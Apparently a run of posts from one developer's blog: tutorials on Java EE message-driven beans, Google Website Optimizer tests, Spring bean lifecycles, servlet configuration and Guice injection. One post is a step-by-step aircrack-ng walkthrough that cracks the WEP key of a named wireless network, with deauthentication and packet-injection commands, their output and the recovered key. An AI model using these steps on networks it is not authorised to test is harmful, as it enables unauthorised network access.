In this post I’ll try to teach you how to create a message driven bean which can communicate with an application client.
In order to follow this tutorial, I’ll assume you have Netbeans (6.9) and Glassfish available on your system.

Creating the Message driven bean

Create a new project in Netbeans and choose for a Java EE – EJB Module.

Create a new project

Next, give your project a name and make sure you select Glassfish 3 as your server and Java EE 6 as your Java EE version.

Server and settings

Than you can add a new Message Driven Bean to your project

Add a Message Driven Bean

Give the Bean a name and a package.
Click next to destinations on the Add button to add a destination.
Choose a name for your destination.
Choose between Queue or Topic. In this example it isn’t important which one you choose. The difference between Topic and Queue is if you want Point-to-point or Publish/subscribe communication for your beans.

Name your bean

Netbeans creates code for you and, except for the actual businesscode, your bean is ready.

In this simple example, I just want to pass a name from my applicationclient to my bean and my bean has to echo “Helllo name”

The full code looks like this:

package hello;

import java.util.logging.Level;
import java.util.logging.Logger;
import javax.ejb.ActivationConfigProperty;
import javax.ejb.MessageDriven;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;

@MessageDriven(mappedName = "jms/hello", activationConfig =  {
        @ActivationConfigProperty(propertyName = "acknowledgeMode", propertyValue = "Auto-acknowledge"),
        @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue")
    })
public class HelloBean implements MessageListener {

    public HelloBean() {
    }

    public void onMessage(Message message) {
        try {
            System.out.println("Hello " + message.getStringProperty("name"));
        } catch (JMSException ex) {
            Logger.getLogger(HelloBean.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
}

Almost all the configuration is mapped into 1 annotation.
- The annotation @MessageDriven transforms your normal class into an actual Message Driven Bean.
- The @ActivationConfigProperty annotation is to be used for defining properties to your bean such as the acknowledge mode, message selector, subscription durability and destination type.
In previous versions of JEE, you had to create an XML-file to define all these properties.

Our bean is finished and can be deployed.
Start your Glassfish server and simply click on the deploy button to deploy your bean into Glassfish.

If you open your Glassfish admin console (by default located at http://localhost:4848/ ), you should see that your application is successfully deployed and activated into Glassfish.

Also verify that the JMS resources for your MDB are succesfully created

Creating the Application client

The MDB is created and is waiting for messages. Now it’s time to create the Application client.
Just create a new project and choose for an Enterprise Applicaton Client from the list

The code for the applicaton client looks like this:

package mdbclient;

import javax.annotation.Resource;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageProducer;
import javax.jms.Queue;
import javax.jms.Session;

public class Main {

    @Resource(mappedName = "jms/helloFactory")
    private static ConnectionFactory connectionFactory;

    @Resource(mappedName = "jms/hello")
    private static Queue queue;

    public static void main(String[] args) throws JMSException {
        Connection connection = connectionFactory.createConnection();
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageProducer producer = session.createProducer(queue);
        Message message = session.createTextMessage();
        message.setStringProperty("name", "World!!");
        producer.send(message);
        System.exit(0);
    }
}

If you deploy and run this application you should see in the server output the string “Hello World!!

What’s going on?
First we have to create 2 resources to inject the parameters into the Queue and ConnectionFactory . This can be done easily with the @resource annotation.
Next, we just have to create the actual jms-message. I think the code is pretty clear so it shouldn’t be to difficult to understand what’s going on.

Remote invocation

It would be cool if we can run the client from a remote computer.
This is also very easy with webstart.

Go to your Glassfish admin and simply enable Java Web Start.

If you launch this jnpl file from a remote compter, you should again see the message “Hello World!!” in your Glassfish Server output.

When you get an error, it’s possible that you have to change the IP address of the orb-listener-1 to the IP address of the computer where your Glassfish is running on.

Happy Messaging!!

Luckily, using Google Optimizer for dynamic content isn’t that hard with a little planning.
Google has put an article about this topic in their online help but I don’t like this solution very much. I have found 2 other ways to use Optimizer with dynamic content: the CSS and the Ajax way.
I’ll try to describe both of them in this blogpost.

In my examples I’ll use PHP as dynamic language. The code is far from difficult so you propably can translate it easy in the language you prefer.

The CSS way

In this technique, you basically load every scenario but display only one of them. The displaying of the right scenario is done through a little bit of CSS-magic.
In this example, I will test the contents of a div with 3 scenario’s:
Just create a multivariate experiment in Google and add the optimizer tags to your code.
A good rule of thumb is: add as little as possible between the utmx_section script tags. In this case, just try to add only a tag with a css selector.
This is my example source code and my test in Optimizer:

<html>
    <head> 

        <!-- Google Website Optimizer Control Script -->
	… Optimizer head script…
        <!-- End of Google Website Optimizer Control Script --> 

        <title>Example A/B test with css</title>
        <style type="text/css">
            .variantA {background-color:yellow;}
            .variantB {background-color:#00CCFF;}
            .variantC {background-color:red;}
            #testA .variantB {display:none}
            #testA .variantC {display:none}
            #testB .variantA {display:none}
            #testB .variantC {display:none}
            #testC .variantA {display:none}
            #testC .variantB {display:none}

        </style>
    </head> 

    <body>
        <!—Add as little as possible between utmx_section-->
        <script>utmx_section("sectionA")</script>
        <div id="testA">
        </noscript>
        <!-- TestA -->
        <div class="variantA"><a href="result.php">
                This is dynamic content A which displays a date:
                <?php echo date('l jS \of F Y'); ?>
        </a></div>
        <!-- TestB -->
        <div class="variantB"><a href="result.php">
                this is dynamic content B whic displays the time:
                <?php echo date('h:i:s A'); ?>
        </a></div>
        <!-- TestC -->
        <div class="variantC"><a href="result.php">
                This is dynamic content C which displays the date and time:
                <?php echo date('l js \of FY h:i:s A'); ?>
        </a></div>
    </div>
    <!-- Google Website Optimizer Tracking Script -->
	…optimizer body script…
    <!-- End of Google Website Optimizer Tracking Script -->
</body>
</html>

Test A:

Test B:

Test C:

As you see, when testA is loaded by Google, we just set everything for testB and testC (variantB/variantC) to display:none in css so it just will not be displayed in the browser.
For testB, you hide testA and testC and if you test testC, you hide testA and testB.

Conclusion

• Pro:
• Very easy to set up
• Con:
• When testing many variants, the css becomes big and difficult to maintain
• All the code from the 3 tests will be executed. In this example, that’s not a problem but if you want to test scenario’s which create a heavy load on your server or use code which runs for a long time, this way to test becomes quickly painful.

The Ajax way

This technique is much better to test larger scenarios. You can create an ajax call which will just load the code you need.

You can create the Ajax by hand with a XMLHttpRequest but I prefer using a javascript framework like JQuery which makes the creation of Ajax calls very easy to do. In my example, I’ll put the content received from the Ajax call into the div with id “test”.
The dynamic content of every test is inside it’s own script (a.php, b.php,c.php) which makes this scenario clean and very flexible.

This is my example source code and my test in Optimizer:

<html>
    <head>
        <!-- Google Website Optimizer Control Script -->
        …head script of optimizer…
        <!-- End of Google Website Optimizer Control Script -->

        <script src="jquery-1.4.4.min.js"></script>
        <title>A/B test with Ajax calls</title>
    </head>

    <body>
        <div id="test"></div>
        <script>utmx_section("Ajaxtest")</script>
        <script type="text/javascript">
            $('#test').load('a.php');
        </script>
    </noscript>

    <!-- Google Website Optimizer Tracking Script -->
    ..body script optimizer…
    <!-- End of Google Website Optimizer Tracking Script -->
</body>
</html>

Test A:

Test B:

Test C:

So Google decides wich Ajax call will be made. The appropriate script will be loaded and executed.

Conclusion

• Pro:
• Very easy to set up
• Very flexible
• Only the desired test will be loaded
• Changes can be made in the scripts while the test is running
• Con:
• The content of the test will be retrieved after the page is loaded so this can become slow.

So I thought I give it a try to hack the access point.
Here are the steps I followed:
First I took a look if my laptop could see the wireless network.
The network I want to crack is wifi9/7

Let’s start cracking the key with the installation of aircrack-ng

sudo apt-get install aircrack-ng

List the adapters

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]

I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.
Next, I have to put my wireless card in monitoring mode

wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)

mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]

Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:

wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco

The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is WPA, it's a lot harder to crack.

Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco

Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network

wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful   (AID: 1)

The association is successfull. This means the target host doesn’t use MAC filtering. This is good for me, so I don’t have to spoof my MAC address.
Now everything is ready to crack the key.
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:

wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Now keep the aireplay-ng and airodump-ng running and run the deauth attack.

wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]

Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I’ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.
When there are enough packets captured, it’s time to crack them.
I’ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:

wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%

Got it! The key for the network is 06469.
I could connect to it without a problem and made my sister happy again

Xml Attributes

In this first example, I’ll show you how the lifecycle of a bean happens within the xml-configfile.

In the xml-file, we can define an init- and destroy-method to the bean, which will be called automatically by Spring.
Config.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">

    <bean id="attributesTest" class="a.Test" init-method="initMethod" destroy-method="destroyMethod">
    </bean>
</beans>

Main program
In this case, I’ll use AbstractApplicationContext because this Context has a function to destroy the Context which a normal ApplicationContext doesn’t have.

package a;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class XmlAttributesTest {
    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("attributesTest",Test.class);
    }
}

Test.java

package a;

public class Test{

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void initMethod(){
        System.out.println("We are in initMethod of Test");
    }

    public void destroyMethod(){
        System.out.println("We are in destroyMethod of Test");
    }

}

The output will be:

We are in the constructor of Test
We are in initMethod of Test
We are in destroyMethod of Test

It’s also possible to declare default init- and destroy-methods in the xml-file. This is done in the beans-tag:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
       default-init-method="initMethod"
       default-destroy-method="destroyMethod">
...

LifeCycles with interfaces

It’s possible to call the lifecyclemethods by implemnting a Spring interface.
It’s very easy to do but I don’t recommend this because when you use the interfaces, your code will be highly coupled to the Spring Framework which isn’t always a good case.
Config.xml
You don’t have to set an init and destroy method in the xml-file

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">

    <bean id="interfacesTest" class="b.Test">
    </bean>
</beans>

Main program
This is always the same…

package b;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InterfaceTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("interfacesTest",Test.class);
    }
}

Test.java
We have to implement InitializingBean for init-methods and DisposableBean for destroy-methods

package b;

import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements InitializingBean, DisposableBean {

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("We are in afterPropertiesSet of Test");
    }

    public void destroy() throws Exception {
        System.out.println("We are in destroy of Test");
    }
}

Lifecycle with annotations

Config.xml
Don’t forget to include to enable annotations with the Contextparameters in the xml-file

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd">
   <context:annotation-config/>

    <bean id="annotationsTest" class="c.Test">
    </bean>

</beans>

Main program
Still the same…

package c;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AnnotationsTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("annotationsTest", Test.class);
    }
}

Test.java
We can use the lifecyclemethods with the annotations @PostConstruct for init-methods and @PostDestroy for destroy-methods.

package c;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;

public class Test {

    public Test() {
        System.out.println("We are in the constructor of Test");
    }

    @PostConstruct
    public void start(){
        System.out.println("We are in the start-method of Test");
    }

    @PreDestroy
    public void stop(){
        System.out.println("We are in the stop-method of Test");
    }
}

Putting them all together

It’s possible to use the 3 methods all together
Config.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd">
   <context:annotation-config/>

    <bean id="allTogether" class="d.Test" init-method="initMethod" destroy-method="destroyMethod">
    </bean>
</beans>

Main program

package d;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AllTogetherTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("allTogether", Test.class);
    }
}

Test.java
We are using interfaces AND annotations.
It’s even possible to use multiple times the same annotation:

package d;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements DisposableBean,InitializingBean {

    public void destroy() throws Exception {
        System.out.println("DisposableBean-Interface");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("InitializingBean-Interface");
    }

    @PostConstruct
    public void start(){
        System.out.println("First PostConstruct");
    }

    @PostConstruct
    public void start2(){
        System.out.println("Second PostConstruct");
    }

    @PostConstruct
    public void start3(){
        System.out.println("Third PostConstruct");
    }

    @PreDestroy
    public void stop(){
        System.out.println("PreDestroy");
    }

    public void initMethod(){
        System.out.println("initMethod");
    }

    public void destroyMethod(){
        System.out.println("destroyMethod");
    }
}

The output is:

Third PostConstruct
Second PostConstruct
First PostConstruct
InitializingBean-Interface
initMethod
PreDestroy
DisposableBean-Interface
destroyMethod

So we can conclude that the annotations are processed first, followed by the interfaces and at last the methods from the xml-file.

In this little blogpost, I’ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application.

ServletConfig

ServletConfig is actually very simple. Like stated above, you can retrieve parameters for the servlet which are set at deployment time.
I’ll explain this with a very simple example.

If you have created a servlet with the name “MyServlet” you can add the following 2 variables into the servlet:

    <servlet>
         <servlet-name>MyServlet</servlet-name>
         <servlet-class>servlets.MyServlet</servlet-class>
         <init-param>
             <param-name>variable1</param-name>
             <param-value>I'm var1</param-value>
         </init-param>
         <init-param>
             <param-name>variable2</param-name>
             <param-value>I'm var2</param-value>
         </init-param>
     </servlet>
     <servlet-mapping>
         <servlet-name>MyServlet</servlet-name>
         <url-pattern>/MyServlet</url-pattern>
     </servlet-mapping>

You can retrieve variable2 with the following code:

getServletConfig().getInitParameter("variable2");

Retrieve all the variables of the servlet and loop over them:

Enumeration allvars = getServletConfig().getInitParameterNames();
while (allvars.hasMoreElements()) {
     String next = (String) allvars.nextElement();
     out.println(next + " has the value " + getServletConfig().getInitParameter(next));
}

It’s also possible to retrieve the servlets name through getServletconfig

out.println("The name of the servlet is: " + getServletConfig().getServletName());

ServletContext

ServletContext can be used to retrieve application-wide parameters, get serverparameters and store/retrieve/remove application-wide attributes.

It is possible to call the ServletContext right on or through the ServletConfig. Both are the same so you can choose between them.

if (getServletContext().equals(getServletConfig().getServletContext())) {
       out.println("both calls retrieve the same Context");
}

Just like with ServletConfig, you can set parameters in the Deployment Descriptor. They are initialized on compile time. It’s not possible to remove or add them on runtime.

<context-param>
        <param-name>variable3</param-name>
        <param-value>Im var 3</param-value>
</context-param>

And call them in your servlet just like the ServletConfig parameters:

getServletContext().getInitParameter("variable3")

Unlike ServletConfig, ServletContext can work with attributes. These are parameters or objects which you can set into the servlet and retrieve in every other servlet of your Web Application:

getServletContext().setAttribute("test", "I'm an application-wide String");
..
out.println(getServletContext().getAttribute("test"));
..
getServletContext().removeAttribute("test");

I’ll end this little short tutorial with an example of how you can retrieve serversettings through the Context:

out.println(getServletContext().getContextPath());
out.println(getServletContext().getMajorVersion());
out.println(getServletContext().getRealPath(""));
out.println(getServletContext().getServerInfo());

If there are any more questions, just shoot them

Annotation based DI
It’s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. There are 2 types of payments (by card or cash) and they will be injected by Guice.
Payment

public interface Payment {
    public void pay();
}

PaymentCash

public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I'll pay just plain cash");
    }
}

PaymentCard

public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}

Order

public class Order {

    private Payment payment;

    public Payment getPayment() {
        return payment;
    }

    public void setPayment(Payment payment) {
        this.payment = payment;
    }

    public void finishOrder(){
        this.payment.pay();
    }
}

Main

public class Main {
    public static void main(String[] args) {
        Order order = new Order();
        Payment payment = new PaymentCardImpl();
        order.setPayment(payment);
        order.finishOrder();
    }
}

There isn’t any Dependency injection in the code above. All the classes are highly coupled into each other. So it’s time to do some magic:
Payment
You can tell through the use of annotations which Payment type is the default implemented class

@ImplementedBy(PaymentCardImpl.class)
public interface Payment {
    public void pay();
}

Order
Inject the payment type in the order. What we here say is: Inject the default paymentimplementation, which is set by the @implementedby annotation, into the payment field.

public class Order {
    @Inject
    private Payment payment;
....

Main
Lastly, we have to rewrite the main class. In this example, we get an order which uses the PaymentCard as payment type

public class Main {
    public static void main(String[] args) {
       Injector injector = Guice.createInjector();
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}

You can run this code. The output should be -I’ll pay with a credit card-. This code is so cool because if we want to switch to payment with cash at a later point, we just have to change the @implementedBy annotation in the interface and we are done.

Injection types
Guice knows different types of injection. The 3 most used are constructor, field and method injection (Examples are based on the above example)
Constructor injection

import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public Order(Payment payment){
        this.payment=payment;
    }
   ...
}

Method injection

import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public void setPayment(Payment payment) {
        this.payment = payment;
    }
   ...
}

Field injection

public class Order {
    @Inject
    private Payment payment;
   ...
}

Module based DI
It’s also possible to use Modules for injecting data. It’s maybe a little more work but I like it because all the configuration is in the same file. You can compare this with the xml-file in Spring applications.
Payment
Remove the @ImplementedBy annotation in the paymentinterface

public interface Payment {
    public void pay();
}

MyModule
Next, create the Module class. It has to implement Module, which has one method: configure.
The code speaks for its self. You say nothing more than bind Payment to PaymentCard.

public class MyModule implements Module {
    public void configure(Binder arg0) {
        arg0.bind(Payment.class).to(PaymentCardImpl.class);
    }
}

Instead of implementing Module, you can also extend AbstractModule. It’s just a matter of choice.

public class MyModule extends AbstractModule {
    public void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
    }
}

Main
Lastly, we have to put the module into our injector and we are done.

public class Main {
    public static void main(String[] args) {
        MyModule module = new MyModule();
        Injector injector = Guice.createInjector(module);
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}

The 4 lines in the main class can be written into 1 single line:

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Order.class).finishOrder();
    }
}

Subclassing
In Guice, it’s easy to subclass an implementation.
Payment

public interface Payment {
    public void pay();
}

PaymentCardImpl

public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}

PaymentVisaCard
extend payment card with paymentvisacard

public class PaymentVisaCard extends PaymentCardImpl {
    public void pay() {
        System.out.println("I'll pay with a card from Visa");
    }
}

Nothing special in the Main class
Main

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Payment.class).pay();
    }
}

MyModule
You can specify the hierarchy in the moduleclass

public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
        bind(PaymentCardImpl.class).to(PaymentVisaCard.class);
    }
}

If you run this code, the Visa Card will be used.
Annotationbindings
It’s also possible to use annotations for injection
Payment
There’s nothing special in the interface and implementations:

public interface Payment {
    public void pay();
}

PaymentCardImpl

public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I pay with a card");
    }
}

PaymentCashImpl

public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I pay cash");
    }
}

Next, we have to created the annotations @cash and @Card
Cash

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Cash { }

Card

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Card { }

Main

public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new PayModule()).getInstance(Order.class).finishOrder();
    }
}

Module
You have to specify which annotations refers to which implementation in the moduleclass

public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Cash.class).to(PaymentCashImpl.class);
        bind(Payment.class).annotatedWith(Card.class).to(PaymentCardImpl.class);
    }
}

Order
Now you can use the annotation in your code to inject the right class

public class Order {

    @Inject
    private @Card Payment payment;
   ...

If you want to chane Cardpayments to Cashpayments, just change the @Card annotation to @Cash

Namedannotationbindings
You can also use named annotations. This is a Guice annotation where the value is specified inside the moduleclass.
The paymentinterface, the Main and the Cash and Card implementations are the same as the previous example.
Module
Give the annotations a name (“Cash” and “Card”)

public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Names.named("Cash")).to(CashPayment.class);
        bind(Payment.class).annotatedWith(Names.named("Card")).to(CardPayment.class);
    }
}

Main

 * @author wim
 */
public class Main {
    public static void main(String[] args) {
        Injector inj = Guice.createInjector(new PayModule());
        Order order = inj.getInstance(Order.class);
        order.getPaymentCard().pay();

        Guice.createInjector(new PayModule()).getInstance(Order.class).getPaymentCash().pay();
    }
}

Order
Now you can use them in your order

public class Order {

    private Payment paymentCash;
    private Payment paymentCard;

    @Inject
    public void setPaymentCash(@Named("Cash") Payment payment){
        this.paymentCash=payment;
    }

    public Payment getPaymentCash(){
        return paymentCash;
    }

    @Inject
    public void setPaymentCard(@Named("Card") Payment payment){
        this.paymentCard=payment;
    }

    public Payment getPaymentCard(){
        return paymentCard;
    }
}

These annotations are very simple but I don’t recommend them. Guice doesn’t check them on spelling or validity so they are kinda error prone.
Instancebinding
With instancebinding, you can easily give a value to an instance
Module
Give a value to a name inside the module

public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(String.class)
        .annotatedWith(Names.named("PaymentType"))
        .toInstance("...I'm a Visa Card...");
    }
}

Main

public class Main {
    public static void main(String[] args) {
        String text = Guice.createInjector(new MyModule()).getInstance(Order.class).getText();
        System.out.println(text);
    }
}

Order
Use the annotation. The String text will be injected with “…I’m a Visa Card…”.

public class Order {

    @Named("PaymentType")
    @Inject
    private String text;

    public String getText(){
        return text;
    }
}

Providers
The last example is with the use of providers.
A provider can be used when you have to craete an object. You have to annotate it with the @Provides annotation and the return type is the bound type.
Payment

public interface Payment {
    void pay();
    int getAmount();
}

CashPayment

public class CashPayment implements Payment{

    private int amount;

    public void pay() {
        System.out.println("Inside cashpayment");
    }

    public void setAmount(int amount){
        this.amount=amount;
    }

    public int getAmount(){
        return amount;
    }
}

Main

public class Main {
    public static void main(String[] args) {
        Payment payment = Guice.createInjector(new MyModule()).getInstance(Payment.class);
        payment.pay();
        System.out.println(payment.getAmount());
    }
}

MyModule
Inside the module class, we can construct the class and set the amount of payment.

public class MyModule extends AbstractModule{

    @Override
    protected void configure() {
    }

    @Provides
    Payment providePayment(){
        CashPayment pay = new CashPayment();
        pay.setAmount(100);
        return pay;
    }
}

Conclusion
You can do more with Guice than described above but that’s up to you to find out.
